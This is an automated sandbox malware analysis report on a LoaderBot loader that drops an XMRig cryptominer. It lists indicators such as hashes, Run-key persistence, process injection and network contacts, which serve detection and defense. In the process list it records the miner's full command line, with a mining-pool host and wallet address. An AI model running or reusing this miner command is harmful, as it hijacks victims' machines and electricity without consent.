Malware Analysis Report

2024-10-18 23:17

Sample ID 220701-g8wphafhdm
Target 49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0
SHA256 49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0
Tags
loaderbot xmrig loader miner persistence suricata upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0

Threat Level: Known bad

The file 49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0 was found to be: Known bad.

Malicious Activity Summary

loaderbot xmrig loader miner persistence suricata upx

xmrig

suricata: ET MALWARE CerberTear Ransomware CnC Checkin

LoaderBot

LoaderBot executable

XMRig Miner Payload

UPX packed file

Executes dropped EXE

Checks computer location settings

Drops startup file

Loads dropped DLL

Adds Run key to start application

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: RenamesItself

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-07-01 06:29

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-07-01 06:29

Reported

2022-07-01 07:48

Platform

win7-20220414-en

Max time kernel

149s

Max time network

159s

Command Line

"C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe"

Signatures

LoaderBot

loader miner loaderbot

suricata: ET MALWARE CerberTear Ransomware CnC Checkin

suricata

xmrig

miner xmrig

LoaderBot executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

XMRig Miner Payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe" C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 316 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe
PID 1696 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1696 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1696 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
PID 1696 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

Processes

C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe

"C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe"

C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe

"C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe"

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 46onrEZsDdWZyknWG5KjBbVcLnUmBqUhmc9Hq5z1SStdRpV4zPkJNeXGZdb4s9ibhSG89hYWjUmw15UJ39NneQuH92pDsHK -p x -k -v=0 --donate-level=1 -t 1

Network

Country Destination Domain Proto
US 8.8.8.8:53 pool.hashvault.pro udp
DE 46.4.27.39:3333 pool.hashvault.pro tcp
US 8.8.8.8:53 cb32807.tmweb.ru udp
RU 92.53.96.120:80 cb32807.tmweb.ru tcp
US 8.8.8.8:53 vh298.timeweb.ru udp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:443 vh298.timeweb.ru tcp
RU 92.53.96.120:80 vh298.timeweb.ru tcp

Files

memory/316-54-0x0000000000F10000-0x00000000011E2000-memory.dmp

memory/316-55-0x00000000071A0000-0x0000000007430000-memory.dmp

memory/316-56-0x00000000769D1000-0x00000000769D3000-memory.dmp

memory/316-57-0x0000000000320000-0x000000000032A000-memory.dmp

memory/316-58-0x00000000086C0000-0x00000000088FA000-memory.dmp

memory/316-59-0x00000000003E0000-0x00000000003EA000-memory.dmp

memory/1696-60-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-61-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-63-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-64-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-66-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-65-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-67-0x00000000006223CE-mapping.dmp

memory/1696-69-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-71-0x0000000000400000-0x000000000062A000-memory.dmp

memory/1696-73-0x0000000005500000-0x00000000058EA000-memory.dmp

memory/1796-76-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 5057a2c9d718b3ec71df1442fd137a28
SHA1 bf9dacb50ca403e8ad274f5d96af9177ab76c0e5
SHA256 a77f85188c6b1ada2cbe4581061c32504d42df4930257e3bc04afaf37af63b43
SHA512 448db62c126eba00816987981ca1fc61a2c0accf96cf12f770990e508fe2aee71f42c626b238d30af8d6da0f8ee279edfe79cdcee22304ed17e659589af383f0

\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 5057a2c9d718b3ec71df1442fd137a28
SHA1 bf9dacb50ca403e8ad274f5d96af9177ab76c0e5
SHA256 a77f85188c6b1ada2cbe4581061c32504d42df4930257e3bc04afaf37af63b43
SHA512 448db62c126eba00816987981ca1fc61a2c0accf96cf12f770990e508fe2aee71f42c626b238d30af8d6da0f8ee279edfe79cdcee22304ed17e659589af383f0

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 5057a2c9d718b3ec71df1442fd137a28
SHA1 bf9dacb50ca403e8ad274f5d96af9177ab76c0e5
SHA256 a77f85188c6b1ada2cbe4581061c32504d42df4930257e3bc04afaf37af63b43
SHA512 448db62c126eba00816987981ca1fc61a2c0accf96cf12f770990e508fe2aee71f42c626b238d30af8d6da0f8ee279edfe79cdcee22304ed17e659589af383f0

memory/1696-78-0x0000000006B20000-0x0000000007411000-memory.dmp

memory/1696-79-0x0000000006B20000-0x0000000007411000-memory.dmp

memory/1796-80-0x0000000000400000-0x0000000000CF1000-memory.dmp

memory/1796-81-0x00000000003E0000-0x00000000003F0000-memory.dmp

memory/1796-82-0x0000000000D20000-0x0000000000D24000-memory.dmp

memory/1696-83-0x0000000006B20000-0x0000000007411000-memory.dmp

memory/1696-84-0x0000000006B20000-0x0000000007411000-memory.dmp

memory/1796-85-0x0000000000400000-0x0000000000CF1000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-07-01 06:29

Reported

2022-07-01 07:49

Platform

win10v2004-20220414-en

Max time kernel

151s

Max time network

176s

Command Line

"C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe"

Signatures

LoaderBot

loader miner loaderbot

xmrig

miner xmrig

LoaderBot executable

Description Indicator Process Target
N/A N/A N/A N/A

XMRig Miner Payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe" C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\49ac7233602bbdc3f70f9b5f68cc99a1e79768013f3abcc68a594da4aee873f0.exe N/A
